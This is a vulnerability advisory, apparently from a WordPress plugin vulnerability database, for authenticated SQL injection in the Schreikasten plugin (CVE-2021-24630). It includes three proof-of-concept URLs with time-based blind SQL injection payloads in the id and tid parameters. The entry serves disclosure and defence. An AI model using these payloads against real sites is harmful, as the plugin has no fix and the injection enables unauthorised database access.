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WordPress Plugin Vulnerabilities

Schreikasten <= 0.14.18 - Author+ SQL Injections

Description

The plugin does not sanitise or escape the id GET parameter before using it in SQL statements in the comments dashboard from various actions, leading to authenticated SQL Injections which can be exploited by users as low as author

Proof of Concept

https://example.com/wp-admin/edit-comments.php?page=skmanage&mode=edit&text&paged=1&mode_x=delete_x&id=6%20AND%20(SELECT%209304%20FROM%20(SELECT(SLEEP(5)))ghFg)

https://example.com/wp-admin/edit-comments.php?page=skmanage&mode=tracking&text&paged=1&mode_x=delete_x&id=7&tid=6%20AND%20(SELECT%209304%20FROM%20(SELECT(SLEEP(5)))ghFg)

https://example.com/wp-admin/edit-comments.php?page=skmanage&mode&text&paged=1&mode_x=set_black_x&id=2%20AND%20(SELECT%20614%20 FROM (SELECT(SLEEP(5)))ewlo) 

Affects Plugins

schreikasten
No known fix - plugin closed

References

CVE
CVE-2021-24630
URL
https://codevigilant.com/disclosure/2021/wp-plugin-schreikasten/

Classification

Type

SQLI

OWASP top 10
A1: Injection
CWE
CWE-89

Miscellaneous

Original Researcher

Shreya Pohekar of Codevigilant Project

Verified

Yes

WPVDB ID
a0787dae-a4b7-4248-9960-aaffabfaeb9f

Timeline

Publicly Published

2021-10-07 (about 1 years ago)

Added

2021-10-07 (about 1 years ago)

Last Updated

2022-04-12 (about 1 years ago)

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